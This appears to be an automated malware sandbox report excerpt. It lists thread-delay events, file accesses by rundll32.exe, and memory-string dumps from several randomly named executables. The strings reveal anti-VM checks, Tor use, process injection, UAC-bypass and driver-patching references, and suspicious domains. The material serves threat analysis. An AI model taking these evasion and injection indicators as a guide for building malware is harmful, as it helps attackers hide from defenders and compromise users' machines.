Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 588906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 588453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 587906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 585188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 584641
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 584063
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 583359
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 582781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 582250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 581563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 581094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 580531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 580031
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 579375
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 578844
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 578359
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 577797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 577109
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 576531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 576281
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 575797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 575406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 575015
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 574734
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 574484
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 574188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 573904
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 573648
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 573358
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 572941
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 572634
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 572276
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 571901
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 571540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 571252
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 570621
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 569433
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 567786
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 567430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 567022
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 566808
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 566377
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 566059
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 565580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 565013
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 564318
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 563781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 563375
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 562136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 561159
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 560511
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 559868
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 559543
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 559278
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 558825
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 558612
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 558271
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 557957
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 557511
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 557172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 556925
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 556480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 556177
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 555870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 555625
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 555435
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 555128
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 554852
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 554123
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 553836
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 553532
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 550943
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 550615
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 550254
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 549815
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 549593
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 549415
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 549082
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 548720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 548348
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 548105
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 547885
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 547686
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 547497
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 547279
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 547168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 547042
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 546933
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 546744
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 546608
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 546423
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 546268
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 546085
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 545920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 545739
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 545568
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 545414
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 545280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 545163
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 545020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 544883
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 544717
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 544513
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 544311
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 544190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 544059
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 543855
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 543693
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 543545
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 543413
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 543228
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 543092
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 542952
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 542810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 542668
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 542559
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 542427
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 542307
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 542044
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 541732
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 541597
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 541477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 541334
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 541220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 541092
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 540945
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 540829
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 540715
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 540601
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 540476
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 540348
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 540224
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 540104
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 539942
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 539804
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 539683
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 539562
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 539445
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 539336
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 539229
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 539114
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 538990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 538848
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 538726
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 538608
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 538481
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 538355
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 538241
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 538119
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 537996
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 537859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 537752
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 537638
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 537507
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 537390

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\logo.png
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\qrcode.png

Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: sbvmx86write B -> Value addr= alloc base code= ctxt: curg= free goid jobs= list= m->p= max= min= next= p->m= prev= span=% util%s.exe%s.sys%s: %s(...) , i = , not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--P
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: ... omitting accept-charsetafter EfiGuardallocfreetracebad allocCountbad record MACbad restart PCbad span statebtc.usebsv.comcert installedchecksum errorcontent-lengthcouldn't patchdata truncateddistributor_iddriver removederror responsefile too largefinalizer waitgcstoptheworldget uptime: %wgetprotobynamegot system PIDinitial serverinternal errorinvalid syntaxis a directorykey size wronglevel 2 haltedlevel 3 haltedmemprofileratemultipartfilesneed more datanil elem type!no module datano such deviceopen event: %wparse cert: %wprotocol errorread certs: %wread_frame_eofreflect.Value.remove app: %wruntime: full=runtime: want=s.allocCount= semaRoot queueserver.versionstack overflowstart task: %wstopm spinningstore64 failedsync.Cond.Waittext file busytime.Location(timeEndPeriodtoo many linkstoo many userstorrc filenameunexpected EOFunknown code: unknown error unknown methodunknown mode: unreachable: unsafe.PointeruserArenaStatevirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #window createdwork.full != 0xenservice.exezero parameter with GC prog
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: entersyscallexit status failed to %wfound av: %sgcBitsArenasgcpacertracegetaddrinfowgot TI tokenguid_machineharddecommithost is downhttp2debug=1http2debug=2illegal seekinjector.exeinstall_dateinvalid baseinvalid pathinvalid portinvalid slotiphlpapi.dllkernel32.dllmachine_guidmadvdontneedmax-forwardsmheapSpecialmsftedit.dllmspanSpecialnetapi32.dllno such hostnon-existentnot pollableoleaut32.dllout of rangeparse PE: %wproxyconnectrandautoseedrecv_goaway_reflect.Copyreleasep: m=remote errorremoving appruntime: gp=runtime: sp=s ap traffics hs trafficself-preemptsetupapi.dllshort bufferspanSetSpinesweepWaiterstraceStringstraffic/readtransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=worker mode wtsapi32.dll != sweepgen (default %q) (default %v) MB globals, MB) workers= called from flushedWork idlethreads= in host name is nil, not nStackRoots= out of range pluginpath= s.spanclass= span.base()= syscalltick= work.nproc= work.nwait= %s/rawaddr/%s%s\%s\drivers, gp->status=, not pointer-bind-address-byte block (3814697265625: unknown pc Accept-RangesAuthorizationCLIENT_RANDOMCONNECTION-IDCONNECT_ERRORCache-ControlCertOpenStoreCoTaskMemFreeConnectServerContent-RangeDONT-FRAGMENTDeleteServiceDestroyWindowDistributorIDECDSAWithSHA1EnumProcessesExitWindowsExFQDN too longFindFirstFileFindNextFileWFindResourceWFreeAddrInfoWGC sweep waitGeoIPFile %s
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000400000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.0000000002DA0000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000400000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: DnsRecordListFreeENHANCE_YOUR_CALMEnumThreadWindowsFLE Standard TimeFailed DependencyGC assist markingGMT Standard TimeGTB Standard TimeGetCurrentProcessGetShortPathNameWHEADER_TABLE_SIZEHKEY_CLASSES_ROOTHKEY_CURRENT_USERHTTP_1_1_REQUIREDIf-Modified-SinceIsTokenRestrictedLookupAccountSidWMESSAGE-INTEGRITYMoved PermanentlyOld_North_ArabianOld_South_ArabianOther_ID_ContinuePython-urllib/2.5QueryWorkingSetExRESERVATION-TOKENReadProcessMemoryRegLoadMUIStringWRtlGetCurrentPebSafeArrayCopyDataSafeArrayCreateExSentence_TerminalSysAllocStringLenSystemFunction036Too Many RequestsTransfer-EncodingUnexpected escapeUnified_IdeographUnknown AttributeVGAuthService.exeWSAEnumProtocolsWWTSQueryUserTokenWrite after CloseWrong CredentialsX-Idempotency-Key\System32\drivers\\.\VBoxMiniRdrDN
Source: syncUpd.exe, 0000000F.00000002.2758288970.0000000000958000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0k
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: psapi.dllquestionsreboot inrecover: reflect: rwxrwxrwxscavtracestackpoolsucceededtask %+v tracebackunderflowunhandleduninstallunzip Torunzip: %wurn:uuid:w3m/0.5.1wbufSpanswebsocketxenevtchn} stack=[ netGo = MB goal, flushGen for type gfreecnt= heapGoal= p
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: IP addressIsValidSidKeep-AliveKharoshthiLocalAllocLockFileExLogonUserWManichaeanMessage-IdNo ContentOld_ItalicOld_PermicOld_TurkicOpenEventWOpenMutexWOpenThreadOther_MathPOSTALCODEParseAddr(ParseFloatPhoenicianProcessingPulseEventRIPEMD-160RST_STREAMResetEventSHA256-RSASHA384-RSASHA512-RSASYSTEMROOTSaurashtraSecureBootSet-CookieShowWindowTor uptimeUser-AgentVMSrvc.exeWSACleanupWSASocketWWSAStartupWget/1.9.1Windows 10Windows 11[:^alnum:][:^alpha:][:^ascii:][:^blank:][:^cntrl:][:^digit:][:^graph:][:^lower:][:^print:][:^punct:][:^space:][:^upper:][:xdigit:]\\.\WinMon\patch.exe^{[\w-]+}$app_%d.txtatomicand8attr%d=%s cmd is nilcomplex128connectiondebug calldnsapi.dlldsefix.exedwmapi.dlle.keff.orgexecerrdotexitThreadexp masterfloat32nanfloat64nangetsockoptgoroutine http_proxyimage/avifimage/jpegimage/webpimpossibleindicationinvalid IPinvalidptrkeep-alivemSpanInUsemyhostnameno resultsnot a boolnot signednotifyListowner diedpowershellprl_cc.exeprofInsertres binderres masterresumptionrune <nil>runtime: gs.state = schedtracesemacquiresend stateset-cookiesetsockoptskipping: socks bindstackLarget.Kind == terminatedtext/plaintime.Date(time.Localtracefree(tracegc()
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: acceptactivechan<-closedcookiedirectdomainefenceempty exec: expectfamilygeoip6gopherhangupheaderinternip+netkilledlistenminutenetdnsnumberobjectoriginpopcntrdtscpreadatreasonremoverenamereturnrun-v3rune1 secondselectsendtoserversocketsocks socks5statusstringstructsweep sysmontelnettimersuint16uint32uint64unuseduptimevmhgfsvmxnetvpc-s3wup_hsxennetxensvcxenvdb %v=%v, (conn) (scan (scan) MB in Value> allocs dying= flags= len=%d locks= m->g0= nmsys= pad1= pad2= s=nil
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: (MISSING)(unknown), newval=, oldval=, size = , tail = -07:00:00/api/cdn?/api/poll127.0.0.1244140625: status=AuthorityBassa_VahBhaiksukiClassINETCuneiformDiacriticEVEN-PORTExecQueryFindCloseForbiddenGetDIBitsHex_DigitInheritedInstMatchInstRune1InterfaceKhudawadiLocalFreeMalayalamMongolianMoveFileWNabataeanNot FoundOP_RETURNOSCaptionPalmyreneParseUintPatchTimePublisherReleaseDCRemoveAllSTUN addrSamaritanSee OtherSeptemberSundaneseSysnativeToo EarlyTrailer: TypeCNAMETypeHINFOTypeMINFOUse ProxyVBoxGuestVBoxMouseVBoxVideoWSASendToWednesdayWindows 7WriteFileZ07:00:00[%v = %d][:^word:][:alnum:][:alpha:][:ascii:][:blank:][:cntrl:][:digit:][:graph:][:lower:][:print:][:punct:][:space:][:upper:]_outboundatomicor8attributeb.ooze.ccbad indirbus errorchallengechan sendcomplex64connectexcopystackcsrss.exectxt != 0d.nx != 0dns,filesecdsa.netempty urlfiles,dnsfn.48.orgfodhelperfork/execfuncargs(gdi32.dllhchanLeafimage/gifimage/pnginittraceinterfaceinterruptinvalid nipv6-icmplocalhostmSpanDeadnew tokennil errorntdll.dllole32.dllomitemptyop_returnpanicwaitpatch.exepclmulqdqpreemptedprintableprofBlockprotocol proxy.exepsapi.dllquestionsreboot inrecover: reflect: rwxrwxrwxscavtracestackpoolsucceededtask %+v
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: STAWSTAhomAtoiCDN=CESTChamDATADashDataDateEESTEULAEtagFromGOGCGoneHostJulyJuneLEAFLisuMiaoModiNZDTNZSTNameNewaPINGPOSTPathQEMUROOTSASTSTARSendStatTempThaiTypeUUID"%s"\rss\smb\u00 %+v m=] = ] n=allgallparchasn1avx2basebindbitsbmi1bmi2boolcallcap cas1cas2cas3ca
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Binary or memory string: uint64unuseduptimevmhgfsvmxnetvpc-s3wup_hsxennetxensvcxenvdb %v=%v, (conn) (scan (scan) MB in Value> allocs dying= flags= len=%d locks= m->g0= nmsys= pad1= pad2= s=nil text= zombie$WINDIR% CPU (%03d %s%v: %#x, goid=, j0 = -nologo/delete19531252.5.4.32.5.
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: VirtualUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dll
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3275239614.0000000001202000.00000040.00000020.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3187282898.0000000001170000.00000040.00000020.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3269213397.0000000001022000.00000040.00000020.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3245748971.000000000110C000.00000040.00000020.00020000.00000000.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3195890952.00000000010DF000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: ameNewaPINGPOSTPathQEMUROOTH
